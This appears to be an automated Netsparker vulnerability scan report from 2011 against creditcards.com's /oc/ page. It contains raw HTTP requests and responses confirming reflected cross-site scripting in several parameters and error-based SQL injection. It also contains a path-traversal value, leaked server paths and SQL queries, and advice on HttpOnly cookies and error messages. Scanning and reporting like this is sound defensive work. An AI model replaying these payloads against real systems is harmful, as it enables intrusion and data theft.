<center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1; SQL:SELECT * FROM cms_cards WHERE cardId = ''"'; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 463</span></center><br><center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1; SQL:SELECT merchant_service_image_path FROM cms_merchant_service_details WHERE merchant_service_id = ''"'; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 506</span></center><br><html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading"></span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=a8111b6031d7e395537008d5382fbee2" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?'"--></style></script><script>netsparker(0x000133)</script>' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="../../../../../../../../../../etc/httpd/logs/error_log;'";1;0"
s.purchaseID="1022011061705445059894224"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="../../../../../../../../../../etc/httpd/logs/error_log"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000134)%3C/..

Parameters

Parameter Type Value
pid GET '"--></style></script><script>alert(0x000134)</script>
pg GET 1477
pgpos GET 1

Request

GET /oc/?pid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000134)%3C/script%3E&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:44:57 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3930
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:44:56 GMT; path=/


<center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x000134)</script>'' at line 1; SQL:SELECT * FROM cms_cards WHERE cardId = ''"--></style></script><script>netsparker(0x000134)</script>'; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 463</span></center><br><center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x000134)</script>'' at line 1; SQL:SELECT merchant_service_image_path FROM cms_merchant_service_details WHERE merchant_service_id = ''"--></style></script><script>netsparker(0x000134)</script>'; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 506</span></center><br><html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading"></span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=84b2303de4d836f6e11ae52bd256ff93" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000134)%3C/script%3E&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;'"--></style></script><script>netsparker(0x000134)</script>;1;0"
s.purchaseID="1022011061705445735851087"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid=22145581&pg='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0..

Parameters

Parameter Type Value
pid GET 22145581
pg GET '"--></style></script><script>alert(0x000135)</script>
pgpos GET 1

Request

GET /oc/?pid=22145581&pg='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000135)%3C/script%3E&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:45:01 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
refresh: 2; url=http://oc.creditcards.com/trans_node.php?aid=1000&tid=&cid=9999&did=9999&fid=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000135%29%3C%2Fscript%3E&pos=1&evid=102110617054257a6b9f5164de84f3a4&ref=&oid=1022011061705450188669620&data3=0&sid=1889&c=22145581
Vary: Accept-Encoding
Content-Length: 3290
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:45:00 GMT; path=/


<html><head><title>Just a Moment While We Direct You to Your Offer</title><meta name="robots" content="NOFOLLOW,NOINDEX"><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><script src="/javascript/application.js"></script><link href="/css/credit-cards.css" rel="stylesheet" type="text/css"><style></style></head><body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC" align="center"><br><br><div align="center"><div id="loading"> <p>You are being directed to Citi's secure application.</p> <table border=0 cellpadding=0px cellspacing=0px> <tr> <td valign="middle" align="center"><img src="/images/cccom_logo_114x44.gif"></td> <td valign="middle" align="center"><img src="/images/new-loading.gif"></td> <td valign="middle" align="center"><img src="http://images.creditcards.com/1021-plat-visa-card-art.jpg"></td> </tr> <tr> <td>&nbsp;</td> <td align="center"><img src="/images/security-lock-dark.gif" id="imposedLock"></td> <td>&nbsp;</td> </tr> </table></div><div class="return"> <br><a href="http://www.creditcards.com">Click Here to Return to CreditCards.com</a><br> <br><a href="/SSL-Security.php" target="_blank"><img src="/images/security-lock-light.gif">&nbsp;&nbsp;All applications feature secure SSL Technology.</a><br></div></div><img src="/actions/clickBack.php?t=7d379a2c76b182ae373feba343e3e56c" width="1px" height="1px" /><IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid=22145581&pg='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000135)%3C/script%3E&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.Copyright 1997-2008 Omniture, Inc. More info available athttp://www.omniture.com --><script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script><script language="JavaScript" type="text/javascript">/* You may give each page an identifying name, server, and channel onthe next lines. */s.pageName="lead confirmation"s.server=""s.channel=""s.pageType=""s.prop1=""s.prop2=""s.prop3=""s.prop4=""s.prop5=""s.prop6=""s.prop7=""s.prop8=""s.prop12=s.c_r('s_vi');s.prop16="1"/* Conversion Variables */s.campaign=""s.state=""s.zip=""s.events="purchase,event2"s.products="'"--></style></script><script>netsparker(0x000135)</script>;22145581;1;0"s.purchaseID="1022011061705450188669620"s.eVar1=""s.eVar2=""s.eVar3=""s.eVar4=""s.eVar5=""s.eVar6=""s.eVar7=""s.eVar8=""s.eVar25="'"--></style></script><script>netsparker(0x000135)</script>"s.eVar26="1"s.eVar18=s.c_r('s_vi');/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/var s_code=s.t();if(s_code)document.write(s_code)</script><script language="JavaScript" type="text/javascript"><!--if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><imgsrc="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--><!-- End SiteCatalyst code version: H.15.1. --></body></html>
- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid=22145581&pg=1477&pgpos='%22--%3E%3C/style%3E%3C/script%3E%3Cscrip..

Parameters

Parameter Type Value
pid GET 22145581
pg GET 1477
pgpos GET '"--></style></script><script>alert(0x000136)</script>

Request

GET /oc/?pid=22145581&pg=1477&pgpos='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000136)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:45:04 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
refresh: 2; url=http://oc.creditcards.com/trans_node.php?aid=1000&tid=&cid=9999&did=9999&fid=1477&pos=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000136%29%3C%2Fscript%3E&evid=102110617054257a6b9f5164de84f3a4&ref=&oid=1022011061705450418918817&data3=0&sid=1889&c=22145581
Vary: Accept-Encoding
Content-Length: 3299
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:45:03 GMT; path=/


<html><head><title>Just a Moment While We Direct You to Your Offer</title><meta name="robots" content="NOFOLLOW,NOINDEX"><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><script src="/javascript/application.js"></script><link href="/css/credit-cards.css" rel="stylesheet" type="text/css"><style></style></head><body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC" align="center"><br><br><div align="center"><div id="loading"> <p>You are being directed to Citi's secure application.</p> <table border=0 cellpadding=0px cellspacing=0px> <tr> <td valign="middle" align="center"><img src="/images/cccom_logo_114x44.gif"></td> <td valign="middle" align="center"><img src="/images/new-loading.gif"></td> <td valign="middle" align="center"><img src="http://images.creditcards.com/1021-plat-visa-card-art.jpg"></td> </tr> <tr> <td>&nbsp;</td> <td align="center"><img src="/images/security-lock-dark.gif" id="imposedLock"></td> <td>&nbsp;</td> </tr> </table></div><div class="return"> <br><a href="http://www.creditcards.com">Click Here to Return to CreditCards.com</a><br> <br><a href="/SSL-Security.php" target="_blank"><img src="/images/security-lock-light.gif">&nbsp;&nbsp;All applications feature secure SSL Technology.</a><br></div></div><img src="/actions/clickBack.php?t=be89af684de6b95bead199e07507d07d" width="1px" height="1px" /><IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid=22145581&pg=1477&pgpos='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000136)%3C/script%3E' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.Copyright 1997-2008 Omniture, Inc. More info available athttp://www.omniture.com --><script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script><script language="JavaScript" type="text/javascript">/* You may give each page an identifying name, server, and channel onthe next lines. */s.pageName="lead confirmation"s.server=""s.channel=""s.pageType=""s.prop1=""s.prop2=""s.prop3=""s.prop4=""s.prop5=""s.prop6=""s.prop7=""s.prop8=""s.prop12=s.c_r('s_vi');s.prop16="'"--></style></script><script>netsparker(0x000136)</script>"/* Conversion Variables */s.campaign=""s.state=""s.zip=""s.events="purchase,event2"s.products="1477;22145581;1;0"s.purchaseID="1022011061705450418918817"s.eVar1=""s.eVar2=""s.eVar3=""s.eVar4=""s.eVar5=""s.eVar6=""s.eVar7=""s.eVar8=""s.eVar25="1477"s.eVar26="'"--></style></script><script>netsparker(0x000136)</script>"s.eVar18=s.c_r('s_vi');/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/var s_code=s.t();if(s_code)document.write(s_code)</script><script language="JavaScript" type="text/javascript"><!--if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><imgsrc="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--><!-- End SiteCatalyst code version: H.15.1. --></body></html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid=22145581&pg=1477&pgpos=1

Identified Cookie

Apache

Request

GET /oc/?pid=22145581&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:42:57 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
refresh: 2; url=http://oc.creditcards.com/trans_node.php?aid=998&tid=&cid=9999&did=9999&fid=1477&pos=1&evid=&ref=&oid=1022011061705425735002421&data3=0&sid=1889&c=22145581
Vary: Accept-Encoding
Content-Length: 3102
Content-Type: text/html
Set-Cookie: Apache=66.219.46.81.1308307377279509; path=/,PHPSESSID=3505ddb88b8e35ce83dc1c55fc0a557f; path=/,cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:42:56 GMT; path=/,SSBAL=node.web2; path=/


<html><head><title>Just a Moment While We Direct You to Your Offer</title><meta name="robots" content="NOFOLLOW,NOINDEX"><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><script src="/javascript/application.js"></script><link href="/css/credit-cards.css" rel="stylesheet" type="text/css"><style></style></head><body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC" align="center"><br><br><div align="center"><div id="loading"> <p>You are being directed to Citi's secure application.</p> <table border=0 cellpadding=0px cellspacing=0px> <tr> <td valign="middle" align="center"><img src="/images/cccom_logo_114x44.gif"></td> <td valign="middle" align="center"><img src="/images/new-loading.gif"></td> <td valign="middle" align="center"><img src="http://images.creditcards.com/1021-plat-visa-card-art.jpg"></td> </tr> <tr> <td>&nbsp;</td> <td align="center"><img src="/images/security-lock-dark.gif" id="imposedLock"></td> <td>&nbsp;</td> </tr> </table></div><div class="return"> <br><a href="http://www.creditcards.com">Click Here to Return to CreditCards.com</a><br> <br><a href="/SSL-Security.php" target="_blank"><img src="/images/security-lock-light.gif">&nbsp;&nbsp;All applications feature secure SSL Technology.</a><br></div></div><img src="/actions/clickBack.php?t=f6eee6d28b5444dc077daebd8fc70da9" width="1px" height="1px" /><IMG SRC='http://www.creditcards.com/sb.php?a_aid=998&a_bid=' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid=22145581&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.Copyright 1997-2008 Omniture, Inc. More info available athttp://www.omniture.com --><script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script><script language="JavaScript" type="text/javascript">/* You may give each page an identifying name, server, and channel onthe next lines. */s.pageName="lead confirmation"s.server=""s.channel=""s.pageType=""s.prop1=""s.prop2=""s.prop3=""s.prop4=""s.prop5=""s.prop6=""s.prop7=""s.prop8=""s.prop12=s.c_r('s_vi');s.prop16="1"/* Conversion Variables */s.campaign=""s.state=""s.zip=""s.events="purchase,event2"s.products="1477;22145581;1;0"s.purchaseID="1022011061705425735002421"s.eVar1=""s.eVar2=""s.eVar3=""s.eVar4=""s.eVar5=""s.eVar6=""s.eVar7=""s.eVar8=""s.eVar25="1477"s.eVar26="1"s.eVar18=s.c_r('s_vi');/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/var s_code=s.t();if(s_code)document.write(s_code)</script><script language="JavaScript" type="text/javascript"><!--if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><imgsrc="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--><!-- End SiteCatalyst code version: H.15.1. --></body></html>
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /oc/

/oc/

http://www.creditcards.com/oc/?pid=response.write(268409241-22)%27&pg=1477&pgpos=1

Parameters

Parameter Type Value
pid GET response.write(268409241-22)'
pg GET 1477
pgpos GET 1

Request

GET /oc/?pid=response.write(268409241-22)%27&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:43:09 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3736
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:43:08 GMT; path=/


<center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''response.write(268409241-22)''' at line 1; SQL:SELECT * FROM cms_cards WHERE cardId = 'response.write(268409241-22)''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 463</span></center><br><center><span class='error'>SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''response.write(268409241-22)''' at line 1; SQL:SELECT merchant_service_image_path FROM cms_merchant_service_details WHERE merchant_service_id = 'response.write(268409241-22)''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 506</span></center><br><html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading"></span>
</div>
</td>
</tr>
</table>

<br>
<a href="http://www.creditcards.com">
<span class="return">Click Here to Return to CreditCards.com</span></a>
</div>

<img src="/actions/clickBack.php?t=33d2e560d770f6194af112ed2eb7cbb1" width="1px" height="1px" />
<IMG SRC='http://www.creditcards.com/sb.php?a_aid=1000&a_bid=36' border=0 width=1 height=1><IMG SRC='http://www.creditcards.com/xtrack.php?pid=response.write(268409241-22)%27&pg=1477&pgpos=1' border=0 width=1 height=1><!-- SiteCatalyst code version: H.15.1.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com -->
<script language="JavaScript" type="text/javascript" src="/javascript/s_code.js"></script>
<script language="JavaScript" type="text/javascript">
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="lead confirmation"
s.server=""
s.channel=""
s.pageType=""
s.prop1=""
s.prop2=""
s.prop3=""
s.prop4=""
s.prop5=""
s.prop6=""
s.prop7=""
s.prop8=""
s.prop12=s.c_r('s_vi');
s.prop16="1"
/* Conversion Variables */
s.campaign=""
s.state=""
s.zip=""
s.events="purchase,event2"
s.products="1477;response.write(268409241-22)';1;0"
s.purchaseID="1022011061705430964580267"
s.eVar1=""
s.eVar2=""
s.eVar3=""
s.eVar4=""
s.eVar5=""
s.eVar6=""
s.eVar7=""
s.eVar8=""
s.eVar25="1477"
s.eVar26="1"
s.eVar18=s.c_r('s_vi');

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)</script>
<script language="JavaScript" type="text/javascript"><!--
if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-')
//--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://112.2o7.net/b/ss/ccardsccdc-us/1/H.15.1--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/-->
<!-- End SiteCatalyst code version: H.15.1. -->





</body>
</html>
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /oc/

/oc/ CONFIRMED

http://www.creditcards.com/oc/?pid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(C..

Request

GET /oc/?pid='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&pg=1477&pgpos=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.creditcards.com
Cookie: Apache=66.219.46.81.1308307377275850; PHPSESSID=147189003bcb08f66eb38005117f390d; SSBAL=node.web2
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 10:43:15 GMT
Server: Apache
Expires: Fri, 09 Jul 2010 22:45:02 GMT
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4336
Content-Type: text/html
Set-Cookie: cardOfferHistory=deleted; expires=Thu, 17-Jun-2010 10:43:14 GMT; path=/


<center><span class='error'>SQL error: Duplicate entry '_!@4dilemma:1' for key 1; SQL:SELECT * FROM cms_cards WHERE cardId = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 463</span></center><br><center><span class='error'>SQL error: Duplicate entry '_!@4dilemma:1' for key 1; SQL:SELECT merchant_service_image_path FROM cms_merchant_service_details WHERE merchant_service_id = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''; File: /usr/local/apache2/htdocs/us_production/affiliate/include/Affiliate/Scripts/Bl/ClickRegistrator.class.php; Line: 506</span></center><br><html>
<head>
<title>Just a Moment While We Direct You to Your Offer</title>
<meta name="robots" content="NOFOLLOW,NOINDEX">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<script src="/javascript/application.js"></script>


<link href="/css/credit-cards.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#003366" text="#000000" vlink="#0033CC" link="#0033CC">
<div align="center">
<br>
<table border="5" cellspacing="1" cellpadding="40" bordercolor="#999999" bgcolor="#FFFFFF" width="491">
<tr>
<td>
<div align="center">
<h2>Please Wait...<br>
<br>
</h2>
<img src="/images/loading.gif" width="131" height="23"><br>
<br>
<span class="loading"></span>
</div>
</td>
